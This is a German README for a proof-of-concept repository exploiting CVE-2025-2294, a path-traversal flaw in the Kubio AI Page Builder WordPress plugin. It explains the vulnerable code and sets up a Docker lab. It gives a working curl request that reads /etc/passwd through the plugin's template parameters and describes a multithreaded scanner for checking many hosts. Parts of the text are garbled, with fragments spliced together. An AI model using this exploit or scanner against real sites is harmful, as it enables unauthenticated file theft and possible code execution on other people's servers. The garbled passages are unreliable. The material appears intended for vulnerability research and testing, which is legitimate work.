
Proof-of-Concept-Exploit für CVE-2025-2294, eine kritische LFI-Sicherheitslücke in Kubio AI Page Builder für WordPress. Enthält einen Python-Scanner, eine nuclei-Vorlage und ein Docker-Lab zum Testen.
CVE-2025-2294 ist eine kritische Sicherheitslücke vom Typ Local File Inclusion (LFI) im Plugin Kubio AI Page Builder für WordPress. Die Schwachstelle ermöglicht es einem nicht authentifizierten entfernten Angreifer, einen speziell gestalteten Parameter zu übergeben, wodurch das Plugin eine beliebige Datei auf dem Server einbinden kann; bei Vorhandensein einer einbindbaren PHP-Datei kann dies zu Remote Code Execution (RCE) führen.
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — Unzureichende Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis (Path Traversal).
__kubio-site-edit-iframe-classic-template akzeptiert.wp-config.php, private Schlüssel, Logs).Der anfällige Code hängt mit der Funktion kubio_hybrid_theme_load_template() zusammen, die auf das globale Array $_REQUEST zugreift:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — nimmt den Wert direkt aus dem globalen Satz von Eingabedaten ($_REQUEST kombiniert $_GET, $_POST, $_COOKIE). Das bedeutet, dass der Parameter remote kontrolliert wird.$template_id wahr), ruft der Code locate_template([$template_id]) auf.locate_template() — eine WordPress-Utility (oder ein Äquivalent im Plugin) zum Auffinden von Vorlagen anhand des übergebenen relativen Pfads/Dateinamens. Im normalen Szenario wurde erwartet, dass dort Dateinamen innerhalb eines sicheren Vorlagenverzeichnisses übergeben werden, z.B. header.php oder template-parts/content.php.git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
Nach dem Entpacken rufen Sie http://localhost:8080/wp-admin/plugins.php auf und aktivieren Sie das Plugin
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<path>
Dieser Parameter übergibt einen String, den das Plugin als Vorlagenkennung/-pfad verwendet.
Im anfälligen Codefragment wird der Wert aus $_REQUEST übernommen und ohne vorherige Normalisierung oder Einschränkung an locate_template() übergeben. Dies ermöglicht einen Path Traversal: Wenn in den Wert ../-Sequenzen eingefügt werden, kann der resultierende Pfad das erwartete Vorlagenverzeichnis verlassen und auf jede beliebige Datei im Dateisystem verweisen (einschließlich /etc/passwd).
Genau dieser Parameter trägt die Angriffslast – mit ihm gibt der Angreifer die Zieldatei an.
__kubio-site-edit-iframe-preview=1
Dies ist ein Dienstflag (Vorschaumodus / iframe-Edit-Modus). Es schaltet die Anfrageverarbeitung in den Codepfad um, in dem die in __kubio-site-edit-iframe-classic-template angegebene Vorlage gelesen und verwendet wird.
Ohne preview=1 könnte das Plugin den Parameter classic-template nicht verarbeiten oder eine andere Logik verwenden; mit preview=1 wird die Logik aktiviert, die das Lesen und Zurückgeben der Vorlage erlaubt, was die Ausnutzung ermöglicht.
/wp-content/plugins/kubio/readme.txt.

Das Skript prüft die Ausgabe von /etc/passwd, ist aber dank Multithreading um ein Vielfaches schneller als nuclei und unterstützt auch das Scannen mehrerer Hosts gleichzeitig.
python3 scan.py --target http://localhost:8080
